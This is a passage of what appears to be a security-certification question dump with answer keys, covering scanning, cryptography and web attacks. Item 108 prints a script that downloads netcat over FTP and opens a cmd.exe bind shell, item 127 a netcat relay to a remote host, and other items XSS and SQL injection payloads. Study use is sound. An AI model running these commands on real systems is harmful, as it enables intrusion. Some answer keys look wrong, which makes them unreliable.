11 MAC Address: 00:14:2A:B1:1E:2E (Elitegroup Computer System Co.)

12 Nmap finished: 256 IP addresses (4 hosts up) scanned in 5.399 seconds

Second one:

1 [10.0.0.252]# nmap -sO 10.0.0.2

2

3 Starting Nmap 4.01 at 2006-07-14 12:56 BST

4 Interesting protocols on 10.0.0.2:

5 (The 251 protocols scanned but not shown below are

6 in state: closed)

7 PROTOCOL STATE SERVICE

8 1 open icmp

9 2 open|filtered igmp

10 6 open tcp

11 17 open udp

12 255 open|filtered unknown

13

14 Nmap finished: 1 IP address (1 host up) scanned in

15 1.259 seconds

A.
10.0.0.253 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.

B.
10.0.0.253 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.

C.
10.0.0.2 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.

D.
10.0.0.252 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.

Answer: A
Explanation:

QUESTION NO: 100

Pentest results indicate that voice over IP traffic is traversing a network. Which of the following tools will decode a packet capture and extract the voice conversations?

A.
Cain

B.
John the Ripper

C.
Nikto

D.
Hping

Answer: A
Explanation:

QUESTION NO: 101

Which technical characteristic do Ethereal/Wireshark, TCPDump, and Snort have in common?

A.
They are written in Java.

B.
They send alerts to security monitors.

C.
They use the same packet analysis engine.

D.
They use the same packet capture utility.

Answer: D
Explanation:

QUESTION NO: 102

Which set of access control solutions implements two-factor authentication?

A.
USB token and PIN

B.
Fingerprint scanner and retina scanner

C.
Password and PIN

D.
Account and password

Answer: A
Explanation:

QUESTION NO: 103

A security engineer has been asked to deploy a secure remote access solution that will allow employees to connect to the company's internal network. Which of the following can be implemented to minimize the opportunity for the man-in-the-middle attack to occur?

A.

SSL

B.
Mutual authentication

C.
IPSec

D.
Static IP addresses

Answer: C
Explanation:

QUESTION NO: 104

A person approaches a network administrator and wants advice on how to send encrypted email from home. The end user does not want to have to pay for any license fees or manage server services. Which of the following is the most secure encryption protocol that the network administrator should recommend?

A.
IP Security (IPSEC)

B.
Multipurpose Internet Mail Extensions (MIME)

C.
Pretty Good Privacy (PGP)

D.
Hyper Text Transfer Protocol with Secure Socket Layer (HTTPS)

Answer: C
Explanation:

QUESTION NO: 105

To send a PGP encrypted message, which piece of information from the recipient must the sender have before encrypting the message?

A.
Recipient's private key

B.
Recipient's public key

C.
Master encryption key

D.
Sender's public key

Answer: B
Explanation:

QUESTION NO: 106

An engineer is learning to write exploits in C++ and is using the exploit tool Backtrack. The engineer wants to compile the newest C++ exploit and name it calc.exe. Which command would the engineer use to accomplish this?

A.
g++ hackersExploit.cpp -o calc.exe

B.
g++ hackersExploit.py -o calc.exe

C.
g++ -i hackersExploit.pl -o calc.exe

D.
g++ --compile –i hackersExploit.cpp -o calc.exe

Answer: A
Explanation:

QUESTION NO: 107

A recently hired network security associate at a local bank was given the responsibility to perform daily scans of the internal network to look for unauthorized devices. The employee decides to write a script that will scan the network for unauthorized devices every morning at 5:00 am.

Which of the following programming languages would most likely be used?

A.
PHP

B.
C#

C.
Python

D.
ASP.NET

Answer: C
Explanation:

QUESTION NO: 108

A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:

```
system("perl msadc.pl -h $host -C \"echo open $your >testfile\"");
system("perl msadc.pl -h $host -C \"echo $user>>testfile\"");
system("perl msadc.pl -h $host -C \"echo $pass>>testfile\"");
system("perl msadc.pl -h $host -C \"echo bin>>testfile\"");
system("perl msadc.pl -h $host -C \"echo get nc.exe>>testfile\"");
system("perl msadc.pl -h $host -C \"echo get hacked.html>>testfile\"");
("perl msadc.pl -h $host -C \"echo quit>>testfile\"");
system("perl msadc.pl -h $host -C \"ftp \-s\:testfile\"");
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\"");
```

Which exploit is indicated by this script?

A.
A buffer overflow exploit

B.
A chained exploit

C.
A SQL injection exploit

D.
A denial of service exploit

Answer: B
Explanation:

QUESTION NO: 109

One advantage of an application-level firewall is the ability to

A.
filter packets at the network level.

B.
filter specific commands, such as http:post.

C.
retain state information for each packet.

D.
monitor tcp handshaking.

Answer: B
Explanation:

QUESTION NO: 110

Which of the statements concerning proxy firewalls is correct?

A.
Proxy firewalls increase the speed and functionality of a network.

B.
Firewall proxy servers decentralize all activity for an application.

C.
Proxy firewalls block network packets from passing to and from a protected network.

D.
Computers establish a connection with a proxy firewall which initiates a new network connection for the client.

Answer: D

Explanation:

QUESTION NO: 111

Which NMAP command combination would let a tester scan every TCP port from a class C network that is blocking ICMP with fingerprinting and service detection?

A.
NMAP -PN -A -O -sS 192.168.2.0/24

B.
NMAP -P0 -A -O -p1-65535 192.168.0/24

C.
NMAP -P0 -A -sT -p0-65535 192.168.0/16

D.
NMAP -PN -O -sS -p 1-1024 192.168.0/8

Answer: B

Explanation:

QUESTION NO: 112

While checking the settings on the internet browser, a technician finds that the proxy server settings have been checked and a computer is trying to use itself as a proxy server. What specific octet within the subnet does the technician see?

A.
10.10.10.10

B.
127.0.0.1

C.
192.168.1.1

D.
192.168.168.168

Answer: B

Explanation:

QUESTION NO: 113

A company has five different subnets: 192.168.1.0, 192.168.2.0, 192.168.3.0, 192.168.4.0 and 192.168.5.0. How can NMAP be used to scan these adjacent Class C networks?

A.
NMAP -P 192.168.1-5.

B.
NMAP -P 192.168.0.0/16

C.
NMAP -P 192.168.1.0,2.0,3.0,4.0,5.0

D.
NMAP -P 192.168.1/17

Answer: A

Explanation:

QUESTION NO: 114

A penetration tester is attempting to scan an internal corporate network from the internet without alerting the border sensor. Which is the most efficient technique should the tester consider using?

A.
Spoofing an IP address

B.

Tunneling scan over SSH

C.
Tunneling over high port numbers

D.
Scanning using fragmented IP packets

Answer: B
Explanation:

QUESTION NO: 115

A hacker is attempting to see which ports have been left open on a network. Which NMAP switch would the hacker use?

A.
-sO

B.
-sP

C.
-sS

D.
-sU

Answer: A
Explanation:

QUESTION NO: 116

ICMP ping and ping sweeps are used to check for active systems and to check

A.
if ICMP ping traverses a firewall.

B.
the route that the ICMP ping took.

C.
the location of the switchport in relation to the ICMP ping.

D.
the number of hops an ICMP ping takes to reach a destination.

Answer: A
Explanation:

QUESTION NO: 117

Which command line switch would be used in NMAP to perform operating system detection?

A.
-OS

B.
-sO

C.
-sP

D.
-O

Answer: D
Explanation:

QUESTION NO: 118

A hacker is attempting to use nslookup to query Domain Name Service (DNS). The hacker uses the nslookup interactive mode for the search. Which command should the hacker type into the command shell to request the appropriate records?

A.
Locate type=ns

B.
Request type=ns

C.

Set type=ns

D.
Transfer type=ns

Answer: C
Explanation:

QUESTION NO: 119

A hacker searches in Google for filetype:pcf to find Cisco VPN config files. Those files may contain connectivity passwords that can be decoded with which of the following?

A.
Cupp

B.
Nessus

C.
Cain and Abel

D.
John The Ripper Pro

Answer: C
Explanation:

QUESTION NO: 120

On a Linux device, which of the following commands will start the Nessus client in the background so that the Nessus server can be configured?

A.
nessus +

B.
nessus *s

C.
nessus &

D.
nessus -d

Answer: C
Explanation:

QUESTION NO: 121

Which of the following tools will scan a network to perform vulnerability checks and compliance auditing?

A.
NMAP

B.
Metasploit

C.
Nessus

D.
BeEF

Answer: C
Explanation:

QUESTION NO: 122

What is the best defense against privilege escalation vulnerability?

A.
Patch systems regularly and upgrade interactive login privileges at the system administrator level.

B.
Run administrator and applications on least privileges and use a content registry for tracking.

C.
Run services with least privileged accounts and implement multi-factor authentication and authorization.

D.

Review user roles and administrator privileges for maximum utilization of automation services.

Answer: C
Explanation:

QUESTION NO: 123

How can a rootkit bypass Windows 7 operating system’s kernel mode, code signing policy?

A.
Defeating the scanner from detecting any code change at the kernel

B.
Replacing patch system calls with its own version that hides the rootkit (attacker's) actions

C.
Performing common services for the application process and replacing real applications with fake ones

D.
Attaching itself to the master boot record in a hard drive and changing the machine's boot sequence/options

Answer: D
Explanation:

QUESTION NO: 124

Which of the following items of a computer system will an anti-virus program scan for viruses?

A.
Boot Sector

B.
Deleted Files

C.
Windows Process List

D.
Password Protected Files

Answer: A

Explanation:

QUESTION NO: 125

Which protocol and port number might be needed in order to send log messages to a log analysis tool that resides behind a firewall?

A.
UDP 123

B.
UDP 541

C.
UDP 514

D.
UDP 415

Answer: C

Explanation:

QUESTION NO: 126

A pentester is using Metasploit to exploit an FTP server and pivot to a LAN. How will the pentester pivot using Metasploit?

A.
Issue the pivot exploit and set the meterpreter.

B.
Reconfigure the network settings in the meterpreter.

C.
Set the payload to propagate through the meterpreter.

D.
Create a route statement in the meterpreter.

Answer: D

Explanation:

QUESTION NO: 127

What is the outcome of the comm”nc -l -p 2222 | nc 10.1.0.43 1234"?

A.
Netcat will listen on the 10.1.0.43 interface for 1234 seconds on port 2222.

B.
Netcat will listen on port 2222 and output anything received to a remote connection on 10.1.0.43 port 1234.

C.
Netcat will listen for a connection from 10.1.0.43 on port 1234 and output anything received to port 2222.

D.
Netcat will listen on port 2222 and then output anything received to local interface 10.1.0.43.

Answer: B
Explanation:

QUESTION NO: 128

Which of the following is a client-server tool utilized to evade firewall inspection?

A.
tcp-over-dns

B.
kismet

C.
nikto

D.
hping

Answer: A

Explanation:

QUESTION NO: 129

Which tool is used to automate SQL injections and exploit a database by forcing a given web application to connect to another database controlled by a hacker?

A.
DataThief

B.
NetCat

C.
Cain and Abel

D.
SQLInjector

Answer: A

Explanation:

QUESTION NO: 130

A tester has been hired to do a web application security test. The tester notices that the site is dynamic and must make use of a back end database.

In order for the tester to see if SQL injection is possible, what is the first character that the tester should use to attempt breaking a valid SQL request?

A.
Semicolon

B.
Single quote

C.
Exclamation mark

D.
Double quote

Answer: B

Explanation:

QUESTION NO: 131

Which of the following identifies the three modes in which Snort can be configured to run?

A.
Sniffer, Packet Logger, and Network Intrusion Detection System

B.
Sniffer, Network Intrusion Detection System, and Host Intrusion Detection System

C.
Sniffer, Host Intrusion Prevention System, and Network Intrusion Prevention System

D.
Sniffer, Packet Logger, and Host Intrusion Prevention System

Answer: A

Explanation:

QUESTION NO: 132

When using Wireshark to acquire packet capture on a network, which device would enable the capture of all traffic on the wire?

A.
Network tap

B.
Layer 3 switch

C.
Network bridge

D.
Application firewall

Answer: A

Explanation:

QUESTION NO: 133

Which of the following programming languages is most vulnerable to buffer overflow attacks?

A.
Perl

B.
C++

C.
Python

D.
Java

Answer: B

Explanation:

QUESTION NO: 134

Smart cards use which protocol to transfer the certificate in a secure manner?

A.
Extensible Authentication Protocol (EAP)

B.
Point to Point Protocol (PPP)

C.
Point to Point Tunneling Protocol (PPTP)

D.
Layer 2 Tunneling Protocol (L2TP)

Answer: A

Explanation:

QUESTION NO: 135

Which of the following is a hashing algorithm?

A.
MD5

B.
PGP

C.
DES

D.
ROT13

Answer: A
Explanation:

QUESTION NO: 136

Which of the following problems can be solved by using Wireshark?

A.
Tracking version changes of source code

B.
Checking creation dates on all webpages on a server

C.
Resetting the administrator password on multiple systems

D.
Troubleshooting communication resets between two systems

Answer: D
Explanation:

QUESTION NO: 137

What is the correct PCAP filter to capture all TCP traffic going to or from host 192.168.0.125 on port 25?

A.
tcp.src == 25 and ip.host == 192.168.0.125

B.
host 192.168.0.125:25

C.
port 25 and host 192.168.0.125

D.
tcp.port == 25 and ip.host == 192.168.0.125

Answer: D

Explanation:

QUESTION NO: 138

Which tool would be used to collect wireless packet data?

A.
NetStumbler

B.
John the Ripper

C.
Nessus

D.
Netcat

Answer: A

Explanation:

QUESTION NO: 139

Which of the following is an example of two factor authentication?

A.
PIN Number and Birth Date

B.
Username and Password

C.
Digital Certificate and Hardware Token

D.
Fingerprint and Smartcard ID

Answer: D
Explanation:

QUESTION NO: 140

Diffie-Hellman (DH) groups determine the strength of the key used in the key exchange process. Which of the following is the correct bit size of the Diffie-Hellman (DH) group 5?

A.
768 bit key

B.
1025 bit key

C.
1536 bit key

D.
2048 bit key

Answer: C
Explanation:

QUESTION NO: 141

After gaining access to the password hashes used to protect access to a web based application, knowledge of which cryptographic algorithms would be useful to gain access to the application?

A.

SHA1

B.
Diffie-Helman

C.
RSA

D.
AES

Answer: A
Explanation:

QUESTION NO: 142

What statement is true regarding LM hashes?

A.
LM hashes consist in 48 hexadecimal characters.

B.
LM hashes are based on AES128 cryptographic standard.

C.
Uppercase characters in the password are converted to lowercase.

D.
LM hashes are not generated when the password length exceeds 15 characters.

Answer: D
Explanation:

QUESTION NO: 143

A developer for a company is tasked with creating a program that will allow customers to update their billing and shipping information. The billing address field used is limited to 50 characters. What pseudo code would the developer use to avoid a buffer overflow attack on the billing address field?

A.

if (billingAddress = 50) {update field} else exit

B.
if (billingAddress != 50) {update field} else exit

C.
if (billingAddress >= 50) {update field} else exit

D.
if (billingAddress <= 50) {update field} else exit

Answer: D

Explanation:

QUESTION NO: 144

A security analyst in an insurance company is assigned to test a new web application that will be used by clients to help them choose and apply for an insurance plan. The analyst discovers that the application is developed in ASP scripting language and it uses MSSQL as a database backend. The analyst locates the application's search form and introduces the following code in the search input field:

IMG SRC=vbscript:msgbox("Vulnerable");> originalAttribute="SRC" originalPath="vbscript:msgbox("Vulnerable");>"

When the analyst submits the form, the browser returns a pop-up window that says "Vulnerable".

Which web applications vulnerability did the analyst discover?

A.
Cross-site request forgery

B.
Command injection

C.
Cross-site scripting

D.
SQL injection

Answer: C

Explanation:

QUESTION NO: 145

A security administrator notices that the log file of the company's webserver contains suspicious entries:

```
\[20/Mar/2011:10:49:07\] "GET /login.php?user=test'+oR+3>2%20-- HTTP/1.1" 200 9958
\[20/Mar/2011:10:51:02\] "GET /login.php?user=admin';%20-- HTTP/1.1" 200 9978
```

The administrator decides to further investigate and analyze the source code of login.php file:

```
php
include('../../config/db_connect.php');
$user = $_GET['user'];
$pass = $_GET['pass'];
$sql = "SELECT * FROM USERS WHERE username = '$user' AND password = '$pass'";
$result = mysql_query($sql) or die ("couldn't execute query");

if (mysql_num_rows($result) != 0 ) echo 'Authentication granted!';
else echo 'Authentication failed!';
?>
```


Based on source code analysis, the analyst concludes that the login.php script is vulnerable to

A.
command injection.

B.
SQL injection.

C.
directory traversal.

D.
LDAP injection.

Answer: B

Explanation:

QUESTION NO: 146

Which solution can be used to emulate computer services, such as mail and ftp, and to capture information related to logins or actions?

A.
Firewall

B.
Honeypot

C.
Core server

D.
Layer 4 switch

Answer: B

Explanation:

QUESTION NO: 147

Which command lets a tester enumerate alive systems in a class C network via ICMP using native Windows tools?

A.
ping 192.168.2.

B.
ping 192.168.2.255

C.
for %V in (1 1 255) do PING 192.168.2.%V

D.
for /L %V in (1 1 254) do PING -n 1 192.168.2.%V | FIND /I "Reply"

Answer: D

Explanation:

QUESTION NO: 148

What results will the following command yield: 'NMAP -sS -O -p 123-153 192.168.100.3'?

A.
A stealth scan, opening port 123 and 153

B.
A stealth scan, checking open ports 123 to 153

C.
A stealth scan, checking all open ports excluding ports 123 to 153

D.
A stealth scan, determine operating system, and scanning ports 123 to 153

Answer: D
Explanation:

QUESTION NO: 149

Which of the following parameters enables NMAP's operating system detection feature?

A.
NMAP -sV

B.
NMAP -oS

C.
NMAP -sR

D.
NMAP -O

Answer: D
Explanation:

QUESTION NO: 150

Which of the following open source tools would be the best choice to scan a network for potential targets?

A.
NMAP

B.
NIKTO

C.
CAIN

D.
John the Ripper

Answer: A
Explanation:

QUESTION NO: 151

A hacker is attempting to see which IP addresses are currently active on a network. Which NMAP switch would the hacker use?

A.
-sO

B.
-sP

C.
-sS

D.
-sU

Answer: B
Explanation:

QUESTION NO: 152

A hacker, who posed as a heating and air conditioning specialist, was able to install a sniffer program in a switched environment network. Which attack could the hacker use to sniff all of the packets in the network?

A.
Fraggle

B.
MAC Flood

C.
Smurf

D.
Tear Drop

Answer: B

Explanation:

QUESTION NO: 153

Which of the following settings enables Nessus to detect when it is sending too many packets and the network pipe is approaching capacity?

A.
Netstat WMI Scan

B.
Silent Dependencies

C.
Consider unscanned ports as closed

D.
Reduce parallel connections on congestion

Answer: D

Explanation:

QUESTION NO: 154

How does an operating system protect the passwords used for account logins?

A.
The operating system performs a one-way hash of the passwords.

B.
The operating system stores the passwords in a secret file that users cannot find.

C.
The operating system encrypts the passwords, and decrypts them when needed.

D.
The operating system stores all passwords in a protected segment of non-volatile memory.

Answer: A

Explanation:

QUESTION NO: 155

Which of the following viruses tries to hide from anti-virus programs by actively altering and corrupting the chosen service call interruptions when they are being run?

A.
Cavity virus

B.
Polymorphic virus

C.
Tunneling virus

D.
Stealth virus

Answer: D

Explanation:

QUESTION NO: 156

An attacker has been successfully modifying the purchase price of items purchased on the company's web site. The security administrators verify the web server and Oracle database have not been compromised directly. They have also verified the Intrusion Detection System (IDS) logs and found no attacks that could have caused this. What is the mostly likely way the attacker has been able to modify the purchase price?

A.
By using SQL injection

B.
By changing hidden form values

C.
By using cross site scripting

D.
By utilizing a buffer overflow attack

Answer: B

Explanation:

QUESTION NO: 157

Which tool can be used to silently copy files from USB devices?

A.
USB Grabber

B.
USB Dumper

C.
USB Sniffer

D.
USB Snoopy

Answer: B

Explanation:

QUESTION NO: 158

Which of the following is used to indicate a single-line comment in structured query language (SQL)?

A.
--

B.
||

C.
%%

D.
"

Answer: A

Explanation:

QUESTION NO: 159

A security engineer is attempting to map a company's internal network. The engineer enters in the following NMAP command:

NMAP –n –sS –P0 –p 80 ***.***.**.**

What type of scan is this?

A.
Quick scan

B.
Intense scan

C.
Stealth scan

D.
Comprehensive scan

Answer: C
Explanation:

QUESTION NO: 160

What is the broadcast address for the subnet 190.86.168.0/22?

A.
190.86.168.255

B.
190.86.255.255

C.
190.86.171.255

D.
190.86.169.255

Answer: C

Explanation:

QUESTION NO: 161

A company is using Windows Server 2003 for its Active Directory (AD). What is the most efficient way to crack the passwords for the AD users?

A.
Perform a dictionary attack.

B.
Perform a brute force attack.

C.
Perform an attack with a rainbow table.

D.
Perform a hybrid attack.

Answer: C

Explanation:

QUESTION NO: 162

Which of the following does proper basic configuration of snort as a network intrusion detection system require?

A.
Limit the packets captured to the snort configuration file.

B.
Capture every packet on the network segment.

C.
Limit the packets captured to a single segment.

D.
Limit the packets captured to the /var/log/snort directory.

Answer: A

Explanation:

QUESTION NO: 163

How is sniffing broadly categorized?

A.
Active and passive

B.
Broadcast and unicast

C.
Unmanaged and managed

D.
Filtered and unfiltered

Answer: A
Explanation:

QUESTION NO: 164

What are the three types of authentication?

A.
Something you: know, remember, prove

B.
Something you: have, know, are

C.
Something you: show, prove, are

D.
Something you: show, have, prove

Answer: B
Explanation:

QUESTION NO: 165

The use of technologies like IPSec can help guarantee the following: authenticity, integrity, confidentiality and

A.
non-repudiation.

B.
operability.

C.
security.

D.
usability.

Answer: A
Explanation:

QUESTION NO: 166

What is the main disadvantage of the scripting languages as opposed to compiled programming languages?

A.
Scripting languages are hard to learn.

B.
Scripting languages are not object-oriented.

C.
Scripting languages cannot be used to create graphical user interfaces.

D.
Scripting languages are slower because they require an interpreter to run the code.

Answer: D
Explanation:

QUESTION NO: 167

A botnet can be managed through which of the following?

A.
IRC

B.
E-Mail

C.
Linkedin and Facebook

D.
A vulnerable FTP server

Answer: A
Explanation:

QUESTION NO: 168

Fingerprinting VPN firewalls is possible with which of the following tools?

A.
Angry IP

B.
Nikto

C.
Ike-scan

D.
Arp-scan

Answer: C
Explanation:

QUESTION NO: 169

What is a successful method for protecting a router from potential smurf attacks?

A.
Placing the router in broadcast mode

B.
Enabling port forwarding on the router

C.
Installing the router outside of the network's firewall

D.
Disabling the router from accepting broadcast ping messages

Answer: D
Explanation:

Topic 5, Procedures/ Methodology

QUESTION NO: 170

Which of the following is optimized for confidential communications, such as bidirectional voice and video?

A.
RC4

B.
RC5

C.
MD4

D.
MD5

Answer: A
Explanation:

QUESTION NO: 171

Advanced encryption standard is an algorithm used for which of the following?

A.
Data integrity

B.
Key discovery

C.
Bulk data encryption

D.
Key recovery

Answer: C
Explanation:

QUESTION NO: 172

The fundamental difference between symmetric and asymmetric key cryptographic systems is that symmetric key cryptography uses which of the following?

A.
Multiple keys for non-repudiation of bulk data

B.
Different keys on both ends of the transport medium

C.
Bulk encryption for data transmission over fiber

D.
The same key on each end of the transmission medium

Answer: D
Explanation:

QUESTION NO: 173

An attacker sniffs encrypted traffic from the network and is subsequently able to decrypt it. The attacker can now use which cryptanalytic technique to attempt to discover the encryption key?

A.

Birthday attack

B.
Plaintext attack

C.
Meet in the middle attack

D.
Chosen ciphertext attack

Answer: D

Explanation:

QUESTION NO: 174

What is the primary drawback to using advanced encryption standard (AES) algorithm with a 256 bit key to share sensitive data?

A.
Due to the key size, the time it will take to encrypt and decrypt the message hinders efficient communication.

B.
To get messaging programs to function with this algorithm requires complex configurations.

C.
It has been proven to be a weak cipher; therefore, should not be trusted to protect sensitive data.

D.
It is a symmetric key algorithm, meaning each recipient must receive the key through a different channel than the message.

Answer: D

Explanation:

QUESTION NO: 175

A Certificate Authority (CA) generates a key pair that will be used for encryption and decryption of email. The integrity of the encrypted email is dependent on the security of which of the following?

A.
Public key

B.
Private key

C.
Modulus length

D.
Email server certificate

Answer: B
Explanation:

QUESTION NO: 176

When setting up a wireless network, an administrator enters a pre-shared key for security. Which of the following is true?

A.
The key entered is a symmetric key used to encrypt the wireless data.

B.
The key entered is a hash that is used to prove the integrity of the wireless data.

C.
The key entered is based on the Diffie-Hellman method.

D.
The key is an RSA key used to encrypt the wireless data.

Answer: A
Explanation:

QUESTION NO: 177

An attacker has captured a target file that is encrypted with public key cryptography. Which of the attacks below is likely to be used to crack the target file?

A.

Timing attack

B.
Replay attack

C.
Memory trade-off attack

D.
Chosen plain-text attack

Answer: D
Explanation:

QUESTION NO: 178

Which of the following processes of PKI (Public Key Infrastructure) ensures that a trust relationship exists and that a certificate is still valid for specific operations?

A.
Certificate issuance

B.
Certificate validation

C.
Certificate cryptography

D.
Certificate revocation

Answer: B
Explanation:

QUESTION NO: 179

Which of the following describes a component of Public Key Infrastructure (PKI) where a copy of a private key is stored to provide third-party access and to facilitate recovery operations?

A.
Key registry

B.
Recovery agent

C.
Directory

D.
Key escrow

Answer: D

Explanation:

QUESTION NO: 180

To reduce the attack surface of a system, administrators should perform which of the following processes to remove unnecessary software, services, and insecure configuration settings?

A.
Harvesting

B.
Windowing

C.
Hardening

D.
Stealthing

Answer: C

Explanation:

QUESTION NO: 181

Which of the following is a common Service Oriented Architecture (SOA) vulnerability?

A.
Cross-site scripting

B.
SQL injection

C.
VPath injection

D.
XML denial of service issues

Answer: D
Explanation:

QUESTION NO: 182

The intrusion detection system at a software development company suddenly generates multiple alerts regarding attacks against the company's external webserver, VPN concentrator, and DNS servers. What should the security team do to determine which alerts to check first?

A.
Investigate based on the maintenance schedule of the affected systems.

B.
Investigate based on the service level agreements of the systems.

C.
Investigate based on the potential effect of the incident.

D.
Investigate based on the order that the alerts arrived in.

Answer: C
Explanation:

QUESTION NO: 183

An IT security engineer notices that the company’s web server is currently being hacked. What should the engineer do next?

A.
Unplug the network connection on the company’s web server.

B.
Determine the origin of the attack and launch a counterattack.

C.
Record as much information as possible from the attack.

D.
Perform a system restart on the company's web server.

Answer: C
Explanation:

QUESTION NO: 184

Which of the following is a primary service of the U.S. Computer Security Incident Response Team (CSIRT)?

A.
CSIRT provides an incident response service to enable a reliable and trusted single point of contact for reporting computer security incidents worldwide.

B.
CSIRT provides a computer security surveillance service to supply a government with important intelligence information on individuals travelling abroad.

C.
CSIRT provides a penetration testing service to support exception reporting on incidents worldwide by individuals and multi-national corporations.

D.
CSIRT provides a vulnerability assessment service to assist law enforcement agencies with profiling an individual's property or company's asset.

Answer: A
Explanation:

QUESTION NO: 185

Which of the following items is unique to the N-tier architecture method of designing software applications?

A.
Application layers can be separated, allowing each layer to be upgraded independently from other layers.

B.
It is compatible with various databases including Access, Oracle, and SQL.

C.
Data security is tied into each layer and must be updated for all layers when any upgrade is performed.

D.
Application layers can be written in C, ASP.NET, or Delphi without any performance loss.

Answer: A

Explanation:

QUESTION NO: 186

If a tester is attempting to ping a target that exists but receives no response or a response that states the destination is unreachable, ICMP may be disabled and the network may be using TCP. Which other option could the tester use to get a response from a host using TCP?

A.
Hping

B.
Traceroute

C.
TCP ping

D.
Broadcast ping

Answer: A

Explanation:

QUESTION NO: 187

Which of the following descriptions is true about a static NAT?

A.
A static NAT uses a many-to-many mapping.

B.
A static NAT uses a one-to-many mapping.

C.
A static NAT uses a many-to-one mapping.

D.
A static NAT uses a one-to-one mapping.

Answer: D

Explanation:

QUESTION NO: 188

Which of the following network attacks takes advantage of weaknesses in the fragment reassembly functionality of the TCP/IP protocol stack?

A.
Teardrop

B.
SYN flood

C.
Smurf attack

D.
Ping of death

Answer: A

Explanation:

QUESTION NO: 189

Employees in a company are no longer able to access Internet web sites on their computers. The network administrator is able to successfully ping IP address of web servers on the Internet and is able to open web sites by using an IP address in place of the URL. The administrator runs the nslookup command for www.eccouncil.org and receives an error message stating there is no response from the server. What should the administrator do next?

A.

Configure the firewall to allow traffic on TCP ports 53 and UDP port 53.

B.
Configure the firewall to allow traffic on TCP ports 80 and UDP port 443.

C.
Configure the firewall to allow traffic on TCP port 53.

D.
Configure the firewall to allow traffic on TCP port 8080.

Answer: A
Explanation:

QUESTION NO: 190

While testing the company's web applications, a tester attempts to insert the following test script into the search area on the company's web site:

<script>alert(" Testing Testing Testing ")</script>

Afterwards, when the tester presses the search button, a pop-up box appears on the screen with the text: "Testing Testing Testing". Which vulnerability has been detected in the web application?

A.
Buffer overflow

B.
Cross-site request forgery

C.
Distributed denial of service

D.
Cross-site scripting

Answer: D
Explanation:

QUESTION NO: 191

Which of the following is an advantage of utilizing security testing methodologies to conduct a security audit?

A.
They provide a repeatable framework.

B.
Anyone can run the command line scripts.

C.
They are available at low cost.

D.
They are subject to government regulation.

Answer: A

Explanation:

QUESTION NO: 192

The Open Web Application Security Project (OWASP) testing methodology addresses the need to secure web applications by providing which one of the following services?

A.
An extensible security framework named COBIT

B.
A list of flaws and how to fix them

C.
Web application patches

D.
A security certification for hardened web applications

Answer: B

Explanation:

QUESTION NO: 193

In the OSI model, where does PPTP encryption take place?

A.
Transport layer

B.
Application layer

C.
Data link layer

D.
Network layer

Answer: C
Explanation:

QUESTION NO: 194

Which of the following is an example of IP spoofing?

A.
SQL injections

B.
Man-in-the-middle

C.
Cross-site scripting

D.
ARP poisoning

Answer: B
Explanation:

QUESTION NO: 195

For messages sent through an insecure channel, a properly implemented digital signature gives the receiver reason to believe the message was sent by the claimed sender. While using a digital signature, the message digest is encrypted with which key?

A.

Sender's public key

B.
Receiver's private key

C.
Receiver's public key

D.
Sender's private key

Answer: D

Explanation:

QUESTION NO: 196

Some passwords are stored using specialized encryption algorithms known as hashes. Why is this an appropriate method?

A.
It is impossible to crack hashed user passwords unless the key used to encrypt them is obtained.

B.
If a user forgets the password, it can be easily retrieved using the hash key stored by administrators.

C.
Hashing is faster compared to more traditional encryption algorithms.

D.
Passwords stored using hashes are non-reversible, making finding the password much more difficult.

Answer: D

Explanation:

QUESTION NO: 197

Company A and Company B have just merged and each has its own Public Key Infrastructure (PKI). What must the Certificate Authorities (CAs) establish so that the private PKIs for Company A and Company B trust one another and each private PKI can validate digital certificates from the other company?

A.
Poly key exchange

B.
Cross certification

C.
Poly key reference

D.
Cross-site exchange

Answer: B
Explanation:

QUESTION NO: 198

Which of the following defines the role of a root Certificate Authority (CA) in a Public Key Infrastructure (PKI)?

A.
The root CA is the recovery agent used to encrypt data when a user's certificate is lost.

B.
The root CA stores the user's hash value for safekeeping.

C.
The CA is the trusted root that issues certificates.

D.
The root CA is used to encrypt email messages to prevent unintended disclosure of data.

Answer: C
Explanation:

QUESTION NO: 199

A network security administrator is worried about potential man-in-the-middle attacks when users access a corporate web site from their workstations. Which of the following is the best remediation against this type of attack?

A.
Implementing server-side PKI certificates for all connections

B.
Mandating only client-side PKI certificates for all connections

C.
Requiring client and server PKI certificates for all connections

D.
Requiring strong authentication for all DNS queries

Answer: C
Explanation:

QUESTION NO: 200

Which of the following levels of algorithms does Public Key Infrastructure (PKI) use?

A.
RSA 1024 bit strength

B.
AES 1024 bit strength

C.
RSA 512 bit strength

D.
AES 512 bit strength

Answer: A
Explanation:

QUESTION NO: 201

Which of the following is a characteristic of Public Key Infrastructure (PKI)?

A.
Public-key cryptosystems are faster than symmetric-key cryptosystems.

B.
Public-key cryptosystems distribute public-keys within digital signatures.

C.
Public-key cryptosystems do not require a secure key distribution channel.

D.
Public-key cryptosystems do not provide technical non-repudiation via digital signatures.

Answer: B
Explanation:

QUESTION NO: 202

Which security strategy requires using several, varying methods to protect IT systems against attacks?

A.
Defense in depth

B.
Three-way handshake

C.
Covert channels

D.
Exponential backoff algorithm

Answer: A
Explanation:

QUESTION NO: 203

SOAP services use which technology to format information?

A.
SATA

B.
PCI

C.
XML

D.
ISDN

Answer: C
Explanation:

QUESTION NO: 204

Which statement best describes a server type under an N-tier architecture?

A.
A group of servers at a specific layer

B.
A single server with a specific role

C.
A group of servers with a unique role

D.
A single server at a specific layer

Answer: C
Explanation:

QUESTION NO: 205

If an e-commerce site was put into a live environment and the programmers failed to remove the secret entry point that was used during the application development, what is this secret entry point known as?

A.
SDLC process

B.
Honey pot

C.

SQL injection

D.
Trap door

Answer: D
Explanation:

QUESTION NO: 206

A technician is resolving an issue where a computer is unable to connect to the Internet using a wireless access point. The computer is able to transfer files locally to other machines, but cannot successfully reach the Internet. When the technician examines the IP address and default gateway they are both on the 192.168.1.0/24. Which of the following has occurred?

A.
The gateway is not routing to a public IP address.

B.
The computer is using an invalid IP address.

C.
